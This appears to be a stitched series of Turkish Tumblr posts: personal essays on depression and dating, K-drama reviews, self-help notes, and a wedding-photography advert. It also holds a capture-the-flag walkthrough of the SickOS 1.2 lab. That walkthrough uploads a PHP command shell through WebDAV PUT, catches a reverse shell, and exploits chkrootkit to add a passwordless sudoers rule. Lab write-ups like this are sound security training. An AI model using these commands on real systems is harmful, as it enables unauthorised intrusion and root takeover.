Son 1 yıldır farklı fazlarda depresyon rahatsızlığı yaşadım. İlaçla ve kendi çabalarımla iyileştim. Ardından yaklaşık 1 yıl süren ilişkimin bitmesi ve kendimi herkesten çekerek olaylara yukarıdan bakma kararı bana daha önce hiç görmediğim bir vizyon sağladı; bununla da kalmayıp müthiş bir iç huzuru, sahip olduklarıma dair kuvvetli bir şükran duygusu ve de hayatıma dair kesintisiz pozitif bir inanç getirdi. İlişkim sonrasında tanıştığım insanları artık daha derin şekilde gözlemliyor, içselleştiriyor ve özümsüyorum. Onlar üzerinden kendime dair daha keskin sonuçlar çıkarabiliyorum. Kendime ve hayatıma olan farkındalığım artıyor, üstelik bunu tamamen objektif bir şekilde, kişiselleştirilmemiş bir karşılaştırma ile yapabiliyorum.
Yukarıda dediğim gibi, hayatıma giren herkes bana bir şeyler öğretiyor. Son ilişkimde günlerim hep birini birisiyle ve bir şeyi başka bir şeyle karşılaştırarak geçti. Ne kadar dirensem de bir süre sonra ister istemez kendimi ve hayatıma ait olan şeyleri gereksiz bir kıyaslamanın ortasında buluverdim. Şu anda bütün mukayeseleri bitirmiş ve elinde olanlarla tatmin olmuş, mutlu bir adam olarak yazıyorum yazımı.
Huzur, gerçekten böyle bir şey olmalı.
Tesadüfen başlayan kaliteli sanal sohbetin ardından, sıra dışı bir tanışma ile cidden aklımı başımı almıştı son flörtüm kısa bir süre önce. Ne yazık ki 1 hafta içerisinde, onun evinde beraber geçirilen 3 ayrı günün ardından hevesim kursağımda kaldı ve ruhsuz bir şekilde koptuk. Evinde geçirdiğim son gecenin sabahında mutsuz bir kahvaltı yaptıktan sonra yapıcı ve olumlu bir konuşma yapmaya çalışsam da, genel olarak ceviz kabuğunu doldurmayacak şeylere takılan, bunları büyük meselelere çeviren ve beni suçlayan biriyle karşı karşıya kaldım. Üzgündüm, çünkü 1 hafta öncesinde, yıllardır duymadığım heyecanı duymamı sağlayan, içimi kıpır kıpır eden muhteşem bir adam olduğunu düşünüyordum. Kısa cümleler, yapıcı bir tavır ve soğukkanlılık ile ayrıldım o gün onun evinden. Akşamında keyifsiz birkaç mesajlaşmanın ardından çıkardı baklayı sıkıştırmalarıma dayanamayıp: "Depresyondayım."
O an bir çok duyguyu aynı anda hissettim. Her şeyi açıklıyordu bu, ancak beni yine bir çeşit kullanılmışlık/kandırılmışlık düşüncesine itiyordu sinsice. Depresyonda olduğunu itiraf ettikten sonra sıraladığı hayatında kötü giden onca şeye rağmen "neden biriyle olmak ister insan" diye düşündüm. "Bunu o kişiye neden yapar? Bir yardım eli, bir can simidi, bir kurtarıcı görevi mi yükler karşısındaki kişiye?"
Nitekim aynı gece gönderdiğim mesajlara cevap alamadığım gibi ertesi gün de ne bir mesaj aldım ne arandım. Özellikle ben de adım atmadım. Sürekli adım atan, haksız yere suçlanılmasına rağmen sineye çeken ve flörtünün peşinden koşan insan görüntüsü vermek istemediğimden sanırım. İşin aslı, bu ego yarışından değil de, sanırım hayal kırıklığı ile beraber gelen "depresif insanla uğraşmak istemiyorum" hissinden.
Mutlu olmak istiyorum. Mutluluk vermek istiyorum. İşteş, nice güzel aktiviteler yapmak istiyorum ama hepsi mutlu, huzurlu olsun istiyorum. O yüzden sessizce hayatından çıkmayı seçtim sanırım ve bu yazı buradan bunu kendime ilk kez itiraf edişim bir anlamda. Bir çeşit "aşk" tadı verdi bir süreliğine, yıllar sonra "yok artık" dedirten bir heyecan yaşattı, ama uzun sürmedi. Ki bu da şaşırtmadı.
Bu ülkede, bilhassa İstanbul'da insanların artık 'aşkı' araması mümkün görünmüyor. İnsanlar hayat meşgalesi içinde öylesine boğulmuşlar, öyle kaybolmuşlar ki; aşk lisede kalmış tatlı bir anı; anılardan hikayelere, hikayelerden mitlere dönüşmüş ve şimdiyse bir ütopya olmuş. Hemen herkes aslında farklı derinliklerde depresyonda, kimi farkında iyileşme çabasında; kimi farkında ama umursamıyor ve aslında daha derine sürükleniyor; kimiyse farkında bile değil ve durumu çok vahim. İşin kötü tarafı zaten normal koşullar altında bile heteroseksüel insanlara nazaran daha stresli hayatları olan eşcinsel insanlarımızın depresyona girme veya içinde kalma ihtimalinin daha yüksek olması.
Mekanik, hidrolik, elektronik hayatın içerisinde otomatik bir kol, bir çark, bir piston gibi çalışır hale gelmiş insanlar. Matrix'teki sanal dünyada yaşayan ancak aynı zamanda köle makineler gibi sorgulamadan, düşünmeden, aydınlanmadan çalışarak yaşlanan insanlara...
Düşünüyorum da, bu kadar içi boşaltılmış, efsaneleştirilmiş bir hale nasıl geldi aşk? Nerede inanmayı, umutlanmayı kaybettik?
Bütün suç birbirimizi arkamızdan vurduğumuz, en saf inançlarımızı gözümüzün içine baka baka yok ettiğimiz o ilişkilerde mi? Birbirimizi kandırarak mı zamanla "kandırılmaz" insanlar haline geldik? "Aşk" mı oldu bunca hengameden sonra suçlanan?!
"Aşk" da "Karma" gibi bir kelime. O kelimelerin zihnimizde ne ifade ettiğiyle alakalı bütün anlamı. "Aşk" kelimesinin altında biriktirilmiş ise sayısız aldatılma, terk ediliş, karşılıksız duygular ile zihinde pozitif yüklü nöronların depreşmesi pek de mümkün görünmüyor. Hala aşk denilince gözü parlayan, yüzü gülen insanlarla karşılaşınca mutlu oluyorum ve gıpta ile bakıyorum onlara...
Rol modelleri olmayan gaylerin aşkı ilişkiyi kör-topal yaşamaya çalışması geliyor yine aklıma...
- Heteroseksüellerde iş kolay, kız hoşlanır naza çeker, erkek hoşlanır üstüne düşer.
- Gaylerde aşk söz konusu olunca, iki taraf da üstüne düşmeye ya da naza çekmeye meyilli. Hoop gelsin senaryolar:
Senaryo 1: Biri naza çekerse diğeri panik olup daha çok saldırıyor, ardından naza çekenin götü kalkıyor, kalktığı anda diğeri ona aşık oluyor; götü kalkan da onun halini görünce ondan soğuyor.
Senaryo 2; Taraflardan biri beğeniyor, öbürü hiç yüz vermiyor, aşık direkt üstteki hikayenin sonundaki kahraman oluyor.
Senaryo 3: Taraflar birbirinden hoşlanıyor, biri daha aşık oluyor, öbürü sadece seviyor ama ite kaka peşinden sürükleniyor. Sonra o ilişkiyi çeken bir dönüp arkasına bakıyor "eee, ben buna mı aşık oldum" deyip duruyor; sürüklenen bir ayağa kalkıyor ve "neden durduk, ben seviyordum seni yaa, ne oldu" deyip bir anda aşık oluveriyor ama öbürü çoktan basıp gitmiş oluyor...
Gaylerin ilişkiye karşı bu denli laçkalaşmış halde olmalarının sebebi bu yıllara yayılmış, sürekli, birikerek büyüyen "deneme" hırsı. Artık 'tecrübe' olarak değil de 'kaşarlanma' olarak tanımlanabilecek bu durum, aslında heteroseksüellerin duygu dünyasını alt üst eden bu flirt-date-ilişki deneme-yanılma aksiyonlarına karşı gaylerin müthiş bir bağışıklık kazanmış olmasından ötürüdür.
Bir yazımda "aşk, meşk yalan; sevişin a dostlar" derken, ardından gelen yazımda iyi, kötü yaşanmış bitmiş ya da yaşanamamış, içimde patlamış ilişki girişimlerine dem vuruyor olmam bir çelişkidir, bir daha da böyle kişisel bir cümle okuyamazsınız buralarda.
Addio.
3 notes · View notes
korelist · 2 years ago
Text
Tumblr media
THE INNOCENT MAN ( NICE GUY) // KDRAMA DİZİ YORUMU 
UYARI : Yazılar genel olarak spoiler içerebilir. İçermeyedebilir.
İmdb puanı: 7,7 Benim puanım: 5
Drama: The Innocent Man  / The Nice Guy/ Never Seen Anywhere In The World
Hangul: 세상 어디에도 없는 착한남자
Director: Kim Jin-Won
Writer: Lee Kyoung-Hee
Episodes: 20
Date: 2012
Genre: Melodrama
Language: Korean
Country: South Korea
Cast: Song Joong-Ki, Moon Chae-Won, Park Si-Yeon, Cho Seong-Ha, Jin Kyung
2012 KBS Drama Awards - December 31, 2012
Best Actor (Song Joong-Ki)
Best Actress (Moon Chae-Won)
Netizen Award (Song Joong-Ki) & (Moon Chae-Won)
Best Couple Award (Song Joong-Ki) & (Moon Chae-Won)
İzlediğim en eski kore dizisi olan bu muhteşem kötü diziyi sadece ve sadece Descendants of the sun izledikten sonra Song Joong-Ki merakımdan izledim. İzlemeyin, kimseye de bu kötülüğü yapıp izletmeyin derim. Bir de uzun uzun yazmış çekmişler, 20 bölüm. Çıktığı yıl düşünüldüğünde, belki o dönemin beğenilen dizilerinden biri olabilir. Ödül bile almış olduğunu düşünürsek, birileri beğenmiş belli ki. Ben zaman aşımından sonra izlediğimden olacak ki, güzide Türk dizilerimizi asla aratmadı. Keza bizde bu diziyi çalış Türk versiyonunu çekmişiz.
Ufaktan konusunu anlatayım, adet yerini bulsun. Kang Maru (Song Joong-Ki) dizide geçen “nice guy”’dır. Evladım tıp okumuş asistan doktorluk yapıyor. Mezun olmasına 1-2 senesi kalmış. Gerçekten dizideki tek “nice” şey bu karakterdi. Onu da o kadar “nice” yapmışlar ki, artık iyi olmaktan çıkmış, saf olmuş, aptal olmuş, fantezi olmuş. Neyse Kang Maru’nun lanet olasıca bir çocukluk arkadaşı var. Küçüklüğünden beri gözünü para hırsı bürümüş fakir bir köylü kurnazı, Jee Hee (Park Si-Yeon). Bu hanımefendi, yaşına başına bakmadan bir haltlar karıştırıyor. Gecenin bir yarısı Kang Maru’yu arıyor. Gel diyor beni kurtar. Bizim saf da, hastalıktan yerde kıvranan kardeşini orada bırakıp koşa koşa Jee Hee ye gidiyor. Şeytanın vücut bulmuş hali Jee Hee, bir otel odasında süsten püsten suratı görünmez halde, yerde de kendinden yaşça büyük bir adam ölü yatıyor. Ne oldu ne bitti derken bizim muhteşem iyi yürekli doktor adayımız “sen şimdi kaç ben yaptım derim” demesin mi!!!
Yemin ediyorum anlatırken gerildim. Kız kaçıyor, adam hapse giriyor. “Nice guy”’ımız hapisteyken bu sevimsiz kız bir kere bile ziyarete gelmemesinin yanı sıra, babası yaşında zengin bir adamla evleniyor. Evlendiği adamın bizim şeytanın yaşlarında bir kızı var. Üzerinden iyilik akan başrolümüz, iyi halden hapisten çıkıp evine dönmek için uçağa bindiğinde, uçakta kriz geçiren bir kızcağıza denk geliyor. Uçakta doktora en yakın kişi kendisi olduğu için yardım etmeye karar veriyor. Kızı tedavi edeceği sırada fark ediyoruz ki, hasta olan yolcu Jee Hee’nin evlendiği adamın kızı Eun Gi (Moon Chae-Won).
Dizinin konusu bile konu gibi olmadığından anlat anlat bitiremedim. İşte bu iki karakter uçakta karşılaşmalarından sonrasında, Kang Maru intikam almak istiyor. Dizi bu aşamada intikam konusunu temel alarak, üstüne koya koya entrika ağları ile ilerliyor. Mantık yok, heyecan yok. Aşk desen asla izleyici inandıran bir sevgi bile yok. Kang Maru’nun kardeşine olan sevgisi bile inandırıcı değil, öyle söyleyeyim. Sonuna kadar o kadar zor izledim ki, kelimelerim de tükendi bende tükendim.
Song Joong-Ki oyunculuk anlamında elinden geleni yapmış, hakkını yemeyeyim. Böyle bir senaryoya fazlaydı. Moon Chae-Won ise sanırım çirkin şansından joong-ki ile oynama şerefine nail olmuş. Şeytan kadın ise bundan sonra başka dizide rol alamamış olabilir. Emin değilim. Dizi boyunca sürekli kötülük, entrika izliyoruz. Yeşilçam filmlerini aratmayan hafıza kayıpları izliyoruz. Kötünün neden kötü olduğunu anlamadan, açıklamadan izliyoruz. Adamın intikam hırsını izlerken bir anda “ben sana aşığım, gel benimle ol” buhranını izliyoruz. Sonra “ben diğerine aşık oldum” kararsızlığını izliyoruz. İzliyoruz da izliyoruz…
Vallahi zamanında izlemiş olanları zamanında bırakalım. Şuan izlemeyi düşünen varsa izlemesin. 
Raven Melus
BAŞKA NELER VAR ?
FOTOĞRAFLAR
5 notes · View notes
epicmistakesandlearnings · 5 years ago
Text
Fear and anxiety usually the things that messes up most.
- Prime yourself for gratefulness!!
What is the question? What is the question you ask yourself! What’s botherin gyou? Identify it !
1) isentify the problem. Ask why x5 yimese to get to core pronlem? - Fear of loneliness. Fear of making a mistake.
2) step into the memory to find what is holding you back. Go down and ask: ıs this real? Usually we fear in imagination. Amswer: No. FOCUS ON SOLUTION m
3)come up with multiple solutioms
Q: where should I work?
What are your dsyfunctional beliefs?
B: If I stay in USA, I will be lonely.
Change: If I stay in USA, I will do the activitieves I want, go yo dates, work at the office late hours, roommate at home!
Yalnızlık korkusu tutan şey. Kafada bu. Gerçekte yok şu an böyle bir şey. Ne var amerikada. Yalnız olup dönememiştim. Orada çok sıkımıştım.
Sonra noldu?
- Sabrettim çünkü amerikada proje üstümde çalışmak çok istedim. Ee sonra. Sonra burgaza geldim keyfim yerine geldi. Sonra haberlere çıktım. Projeyi duyurdum. Ben böyle duruma tekrar düşmek istemiyorum. Kısaca bu.
- Haftasonu istanbuka gelmek de bu durumdan bir kaçış gibi. Aynen beni tutan bu. O kaçış olmazsa sıkılırsam. Git şehre, bir kızla takıl. Haytını yaşa.
- Tavi orada ekstrem bir durumdu. Okul bitmişti kampüste insan yoktu. Böyle tanıdığım insanlar gitmişti. Dünyada yanlız kaldım gibi bir düşünceye girmiştim. Bu gerçek miydi? Hayır.
Sence böyle bir şey bir daha olabilir mi?
Ann arborda kalmıcam zaten. Nisanda zaten istanbula gelirim o durumda
- hep yeni arkadaşlr ed
Olduğunda napıyorsun?
- gittim yeni arkadaşlar edindim
- Sevdiğim şeyler dans etmeye devam ettim
- İnsanları yemeğe eve çağırdım
- Tenis oynadım insanları eve çağırdım
- Çözüm: yaptığın aktiviteleri yapmaya devam et, insanlarla tanış ve biramita iç. Numaraları al. Zaten sosyal adamım dont worry.
- Çözüm: sabahları koşu ç, priming smotjir
İstambula dönemk olmasaydı nolurdu?
1 aya kasaba dolardı yeni insanlarla tanıştım zaten. Etrafta insan aktivite oldu mu ben zaten insanlarla tanışıyorum.
Hayır diyip bıraksaydın nolurdu?
Ne öğrendin?
- ZOOM OUT YOU ALWAYS HAVE COMAPANY YOUR FAM FRIENDS IN TURKEY! ONE FLIGHT AWAY.
- I AM SUPER STEPMG PROUD
- ISTEDIĞIMIN PEŞİNDE SINIRLARIMI ÇOK ZORLUYORUM BAZEN. HAYIR DİYEBİLİRİM. HEE ZAMAN. HAYIR. BAŞARAMIMIŞLIK DUYGUSU PRS ETME DUYGUSU VERIYOR O. YA DA O KENDINE SAYGI DUYGUSU DEĞİŞTİRİYORUM. BU BANA UYMUYOR BANA İYİ GELMİYOR DENEDİM VE HAYIR İŞİ DEĞİŞYİRİCEM! YOK BEĞENDIİM İŞTE DEVAM. GÜZEL OLURSA DEVAM. BOKTANSA ZORLA HAPİS ZORUYLA ORDA DEĞİLİZ YAW. NEVER TRY NEVER KNOW AMA TABI.
0 notes
izmirdugunfotografi · 6 years ago
Text
Save The date Çekimleri
Son zamanlarda evlenecek çiftler tarafından sıklıkla tercih edilen bir trend: Save The Date! Evlilik aşamasında birçok yerde duyuyorsun, karşına çıkıyor. Ancak Save the Date çekimi nedir, nasıl yapılır, Save The Date kıyafetleri nasıl olmalı, konseptleri neler? İşte Save The Date çekimleri hakkında her şey bu yazıda!
Save The Date
İzmir Save The Date günümüzde yaygınlaşmış olan hemen her evlenecek adayların yaptırdığı eğlenceli videolar daha çok yeni nesil sosyal medya davetiyesi diyebiliriz. Evlenmeye karar verdiniz, düğün tarihini aldınız ve şimdi bunu sevdikleriniz ile paylaşma zamanı geldi. Tabi ki de bunu yazılı davetiler ile yapıyorsunuz akraba akraba gezip arkadaşlarınıza çevrelerinize kimi zaman da elden ele dağıtıp duyuruyorsunuz. Davetiyeler daha kapsamlı olurken; düğün yeri, aile isimleri, düğün tarihleri gibi Save The Date ise bunun dijital olarak sonsuza kadar hatırlayacağınız eğlenceli video. Bir videodan daha fazlası olduğunu söylemeden geçemeyeceğim, sevdiğiniz insanla birlikte evleneceğiniz günü sevdiklerinize haber verirken yaşadığınız heyecanı, mutluluğu o içinize sığmayan tarif edilemez duyguyu ifade ettiğiniz andan bahsediyorum. İşte bu an kayıt altında ve sevdiklerinizle paylaşmaya hazır.
Şimdi Save the Date Çekiminde;
Peki bu Save The Date nereler de olmalı?
Save The Date çekiminde neler giyinilmeli ?
Save The Date ne zaman çekilmeli?
ve en önemlisi bu anı en iyi yansıtabilecek Save The Date fotoğrafçıları
İzmir Save The Date Mekanları
Save The Date mekanları daha çok size bırakılan bir konudur, fotoğrafçılar sizin kendinizi nerede rahat hissetmenizi önemser. Rahat olmakdiyorum; çünkü kendinizi kasmadan en doğal ve samimi şekilde olmanız yapılacak çekimleri ve sevdiklerinize paylaşacağınız fotoğraf ve videolara en iyi şekilde yansıtmayı sağlayacaktır. Aklınız da fikir yoksa yeşillik alan çekimleri belki de bir ormanlık alanda çekim önerimizden bahsedebilirim. Ağaçların arasından süzülen gün ışığı, kuş cıvıltıları, doğa ve siz. Minikte bir belirleyeceğiniz konseptle Save The Date fotoğraflarına ve Save The Date videolarına yansıtabileceğiniz doğal ve samimi olacağınız ve harika bir ortam; örneğin bisikletler şapka ve çiçekler bulunduğunuz ortama uygun bir konsep olacaktır. Tabi ben böceklerden ve ormanlık alanlardan pek hoşlanmıyorum derseniz sizin için burası kadar güzel bir önerimiz daha var. Eğer yakınınızda veya gidebilceğiniz sahil varsa tam size göre olacaktır. Deniz ve kumsalı düşünecek olursak huzurlu, sakin  ve buna birde gün batımını eklersek romantik olacaktır. Aynı şekilde burada hazırlayacağınız ateş başı veya piknik gibi konseptlerde videonuzu zenginleştirip eğlenceli hale getirecektir.
Save The Date Çekiminde Neler Giyinilmeli ?
Save The Date çekimlerinde öncelikle ne zaman, nerede yapacağınız ve orada hangi konsepti uygulayacağınızla ilgili bir kıyafet olmalı. İzmir Save The Datevideoları düğün öncesi bir video olduğu için beyaz veya açık tonlarda iki parçalı, hareketli veya salaş elbiseler ve görüntünüzü tamamlayacak aksesuarlar öneririz tabi ki bunların seçtiğiniz mevsime, konsepte ve mekana uygun olması gerektiğini tekrardan hatırlatmak isterim. Aksi taktirde video ve fotoğraftaki doğal ve samimi görüntüyü yakalamanız zorlaşacaktır.
Save The Date Çekimi Ne Zaman Yapılmalı ?
Save The Date çekimleri düğün tarihinden önce yapılmalıdır. Belki 2 belki de 3 ay önce; Neden mi bu kadar erken diyoruz? Düğün planlamaları aylar öncesinden yapılır ama düğüne son gün kalana dek devam eder. O tatlı telaşları ''planladım ve bitti'' demekle olmuyor son ana kadar her şey kusursuz olması için uğraşıyorsunuz tabi bununla gelen bazı streslerinizde olabilir. İşte bu ufak streslerin ve düğüne az kalan haftaların heyecanından kafanızın biraz rahat rahat olacağı bir zamanda yapmanızda fazda olacaktır. Böylece Save The Date videonuz içi ayarlayacağınız kıyafet ve konsepte odaklanabilirsiniz. Tabi bütün bu video ve fotoğraf olaylarını tamamladığınızda geriye sevdikleriniz ile paylaşmak kalıyor. Orası da size kalmış ister Wattsapp ister Mail isterseniz de sosyal medyalar aracılığı ile paylaşabilirsiniz.
0 notes
blacksheepwhotookyou-blog · 7 years ago
Text
üstte e posta adresimi doğrulamam gerektiğine dair bir bildirim geldi hahahaha hatırlıyor muyum acaba yok yok bunu hatırlıyorum sanırım anlarız iki güne e tabi zaten iki gün sonra büyük ihtimalle bunu yapmak istemeyeceğim. bundan kastım yazmak tabi. acaba bu yalnızlığın bir sonucu mudur? gerçekten ya cidden ve bütün içtenliğimle merak ediyorum orada birisinin kendisini gerçekten tam anlamıyla anladığını düşünen biri var mı? çıtayı yükseltip birisinin kendisini gerçekten anlayıp sevdiğini de diyebilirdim fakat demiyorum. ay yok merak etmeyin öyle aşk yok sevgi yok böyk herkes kötü diye düşünmüyorum aksine bunlar  var çok gerçekler çok güzeller en güzel şeyler şu ne olduğunu asla anlamadığım ve kendimizi nasıl öldürmediğimizi de asla anlamayacağım hayatta. dip not intihara meyilli falan da değilim yani bence değilim. sadece gerçekten ya öleceğiz uzayda hareket eden bir cismin üzerinde yaşıyoruz fizik kuralları var bildiğimiz şeyler yoka yakın ama gördüğümüz diğer canlılardan baya daha çok şey biliyoruz neler neler keşfedilmiş neler icat edilmiş ama biz sabah kalkıp istemediğimiz bir işe gidip ya da istemediğimiz sevmediğimiz insanlarla konuşmak zorunda kalıp saçma sapan kalkıp o otobüse biniyoruz hadi metro olsun araba olsun isterse jet olsun. bari anlamaya çalışsak yok o da olmuyor anlayamıyoruz da. ya ölünce ne olacağı belli değil herkes ölüyor ya siz ne yapıyorsunuz? gene neyden bahsettiğimi unuttum. böyle gelişmiş bir uzaylı topluluğu gele de kafamıza vursa. bak çocuğum böyle böyle dese. 
gene işin sonunda insanlar nelerle uğraşıyor bak senin derdin yoka geliyor durum. yani. acaba nasıl gelişti olaylar da heyecanlanmayı bıraktık. çok özledim her şeyin ilk defa olduğu zamanı çok fazla özledim. genel konuştum buradan heyecanlananlardan özür diliyorum. sizi şanslı köpekler. köpek bir sevgi sözü olarak geçiyor. keşke kafamı kafanıza sürsem de biraz heyecan bana da geçse. (kafa sürerek bilgi duygu aktarımı keşke gerçek olsa bu arada hemen gider yeni dil mil öğrenirdim uf işte tembellik işte hayat. mesela bunun belirli sınırları olsa tabi ki olmalı da her şey gibi. kişi ancak kendi kapasitesi kadar bilgi alabiliyor mesela kafasını sürdüğü kişiden ama bu beyin kapasitesinin tam üst sınırı değil mesela nasıl anlatayım 200x zeki olan biri birine kafasını sürdüğünde almak istediği spesifik bilgi kısmının 0.2x katsayısını alırken (parantez içi parantez burada demek istediğim şey dil üzerinden yola çıkarak anlatayım herkes yeni bir dil öğrenebilir ama beyni yeni bir dil öğrenince dolmaz o yüzden xler arasında bu kadar fark var ki bu farkın milyon kat falan daha çok olması lazım herhalde öğrenebildiğimiz şeyleri düşünürsek) 100x zeki olan biri 0.1x katsayısını alıyor. )
buradaki heyecan öyle ay sunum yapacağım heyecanı değil. tabi ki de heyecanlanırsın  orada. hani birini görünce için kıpır kıpır olur dizlerinin bağı çözülür sana bakınca kalbin durur bu heyecanlar bunlar güzel şeyler. af edersiniz yani nasıl oldu bu ama becerdik bunun bile boku çıktı sanırım en azından benim çevremde böyle. (ben ve benim çevrem hahaha böyle tespit mi yapılır ya ) ya tinder diye bir şey var ya böyle milyon tane şey var ya bu ne tinder ne ya sosyal medya ne muhtaç kaldık ya ne yapalım ölelim artık ya. benim görece nadir ve bahtsız durumumda böyle sosyal  online dating appleri zorunlu. neden peki neden çünkü türkiye (hadi alkışlayalım.)  (az önce çok çok uzun zaman sonra yeni bir grup keşfettim ve hemen sıkılmadım çok güzeldi o yüzden dikkatim dağıldı bayadır onları dinliyorum (15-20 dk(PARANTEZLERE BAYILIYORUM VE SIRF BUNU BELLİ ETMEK İÇİN CAPSLOCK AÇTIM)) ne yazdığımı hatırlamak için tekrar okumam gerekecek son cümleyi.) evet çünkü birine gidip aa kardeş acaba sen de kadınlardan mı hoşlanıyorsun ona göre yürüyeceğim diyemiyorum vururlar valla. yani bunlar hep sıkıntı ya. hayır yani çoğunlukta olsak yürürüm tutmaz okey tamam olmadı ama yok yani yok ben ne yapayım! buradan türkiyedeki kadınlara sesleniyorum bakın kadınlardan hoşlandığınızı düşünüyorsanız bari bir şey yapın bir harekete geçin biliyorum öyle değilmiş gibi yapmak çok kolay gelebilir ama hayat ya yaşıyoruz ölcez gitcez kendinize gelin . neyse evet . ne dediğimi gene unuttum bu kadar güvenilmez olmam beni de tiksindirdi artık. 
1 note · View note
vud0 · 8 years ago
Text
SickOS1.2
https://www.vulnhub.com/entry/sickos-12,144/
Selam, 
İlk kez yazdığım ve bundan sonrada vakit buldukça yazmak istediğim CTF çözümüm ile karşınızdayım. SickOs 1.2 makinasını kurcalacağım. Başlayalım....
Sanal makinaları ayağa kaldırdıktan sonra ilk olarak IP adresini bulalım;
netdiscover -r 192.168.2.0/24
Tumblr media
Çıktıya göre IP adresi 192.168.2.200. 
NMAP taraması ile devam edelim;
nmap -sVT -p 0-65535 192.168.2.200
Tumblr media
Makina üzerinde 22 ve 80 portları açık görünüyor. 80 portu üzerinden bir web yayını var mı kontrol edelim;
Tumblr media
curl 192.168.2.200
<html>
<img src="blow.jpg">
</html>
<!-- NOTHING IN HERE ///\\\ -->>>>
Basit bir html sayfası ile karşılaştık. Buradan bize ekmek çıkmayacak gibi. Hızlıca bir dizin taraması yapalım...
Tumblr media
“test” isimli bir dizin bulundu. 
Tumblr media
Ziyaret ettiğimizde dizin listenmesi aktif görünüyor. Burayı biraz daha kazalım, bakalım bize bir açık verecek mi ?!
root@KomutanLinux:/# curl -vX OPTIONS 192.168.2.200/test
*   Trying 192.168.2.200...
* TCP_NODELAY set
* Connected to 192.168.2.200 (192.168.2.200) port 80 (#0)
> OPTIONS /test HTTP/1.1
> Host: 192.168.2.200
> User-Agent: curl/7.52.1
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://192.168.2.200/test/
< Content-Length: 0
< Date: Sun, 26 Feb 2017 12:06:55 GMT
< Server: lighttpd/1.4.28
<
* Curl_http_done: called premature == 0
* Connection #0 to host 192.168.2.200 left intact
WebDAV ‘ın izin verilen özelliklerine bakılırsa, ciddi bir açık görülüyor. PUT özelliğini kullanarak bir php sayfası yüklemeyi deneyelim..
curl -X PUT -d'<?php system($_GET["cmd"]);?>' http://192.168.2.200/test/simplephpshell.php
Tumblr media
Dosyayı başarılı bir şekilde upload edebildik. Çalıştırmayı deneyelim. 
Tumblr media
Sonuç başarılı. Buradaki açık sayesinde php reverse shell yükleyerek makinaya erişebiliriz. Bunun için http://pentestmonkey.net/tools/web-shells/php-reverse-shell adresinde ki shell’i kullanacağım. 
curl -T php-reverse-shell.php http://192.168.2.200/test/
Tumblr media
Çıktıdaki hatayı arattığım zaman http1.0 argümanı ile sorunun çözüleceği görülüyor. curl komutuna -0 parametresini ekleyerek tekrar deneyelim.
curl -T php-reverse-shell.php http://192.168.2.200/test/ -0
Tumblr media
shell’i yükledik. Artık netcat ile bağlanmayı deneyelim..
Tumblr media
Bağlantı 3333 port u üzerinden açılamadı ? ! 443 port unu deneyelim ..
Tumblr media
Makinaya erişmeyi başardık. Şimdi bayrağı aramaya başlayabiliriz...
Yüklü uygulamara bakalım;
www-data@ubuntu:/$ dpkg -l
Tumblr media
chrootkit 0.49 yüklenmiş. expoit-db de bu uygulama için zafiyet bulunuyor;
https://www.exploit-db.com/exploits/33899/
- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)
Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.
Tumblr media
Aşağıdaki komut ile tmp klasörü altına update isimli çalıştırabilir bir dosya oluşturuyoruz.
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
cron job lara bakıldığında chkrootkit jobuna rastlıyoruz.
Tumblr media
Job’ın çalışması için bir süre bekliyoruz… root a geçebilecek miyiz deneyelim..
Tumblr media
İşte bu ! Artık sadece bayrağın nerede olduğunu bulmak ve okumak kaldı…
Tumblr media
Geçmiş olsun..
V
0 notes
korelist · 4 months ago
Text
Tumblr media
ONE SPRING NIGHT // KDRAMA DİZİ YORUMU
UYARI : Yazılar genel olarak spoiler içerebilir. İçermeyedebilir.
İmdb puanı: 7,9 Benim puanım: 9
Drama: One Spring Night (English title) / Spring Night (literal title)
Hangul: 봄밤
Director: An Pan-Seok
Writer: Kim Eun
Date: 2019
Language: Korean
Country: South Korea
Cast: Han Ji-Min, Jung Hae-In, Kim Joon-Han, Joo Min-Kyung, Kim Jung-Young, Seo Jung-Yeon, Kim Chang-Wan
2019 MBC Drama Awards - December 30, 2019
Best Actor (Jung Hae-In)
Best Actress (Han Ji-Min)
Bu dizi ile ilgili çok fazla sosyal medyada linç varmış. Diziyi izlemeyi bırakanlar, böyle şey izlemem diyenler, izleyip yerenler… uçsuz bucaksız bir mevzuymuş meğerse. Şimdi dizimiz kütüphanede çalışan sessiz sakin kendi halinde yaşan ve uzun bir ilişkisi olan hanım kızımız Lee Jeong-In(Han Ji-Min)’in bir gün alışveriş yaptığı eczanede, eczacı çocuk Yu Ji-Ho(Jung Hae-In)’dan etkilenmesi ile başlıyor. Aslında Yu Ji-Ho kızımızdan daha çok etkileniyor. İki tarafta ilk başta bunu kabul etmese de ilk kendinden emin olan kişi Yu Ji-Ho oluyor. Ama kızımızın sevgilisi olmasından dolayı bir adım atmıyor. Adım atmamasının ikinci nedeni ise bekar bir baba olması. Lee Jeong-In ise dediğim gibi uzun bir ilişki içerisinde. Erkek arkadaşı Kwon Gi-Seok(Kim Joon-Han) ile aralarındaki ilişki monotonluk ile sıkıcılık arasında gidip geliyor. Her ne kadar böyle yorucu bir ilişki içinde olsa da kızımızda eczacıda uzak durmaya çalışıyor. Önünde sonunda içinde bulunduğu durumu analiz edip, erkek arkadaşından ayrılıp duygularını kabulleniyor.
Şimdi tam bu noktada herkesler ayaklanmış işte. Vay efendim bu aldatmakmış. Böyle bir ahlaksızlığı izleyemezlermiş. Allah aşkına neler izlediniz de bir şey olmadı buna mı tepki veriyorsunuz. “Moon Lovers: Scarlet Heart Ryeo” diyorum. 8.prens karısının üstüne bunu da ikinciye alayım yanıma diye kıza hallendi de hallendi. Kızda kuzeninin kocasına iş atıp durdu. O okeydi bu mu ahlaksızlık. “Don't Dare to Dream” dizisinde kız hangi adamı seçeceğine karar veremediği için hadi aynı evde üçümüz yaşayalım dediğinde waov ne kadar çağdaş diye düşündünüz de bura da kadının duyguları değişip başka birinden hoşlandı diye mideniz mi aldırmıyor. Vallahi anlam veremedim. Yine ben bu ortam dedikodularını bir diziyi yazmaya karar verince öğrendiğim için pırıl pırıl bir kafayla izledim. Açıkçası da oldukça beğendim.
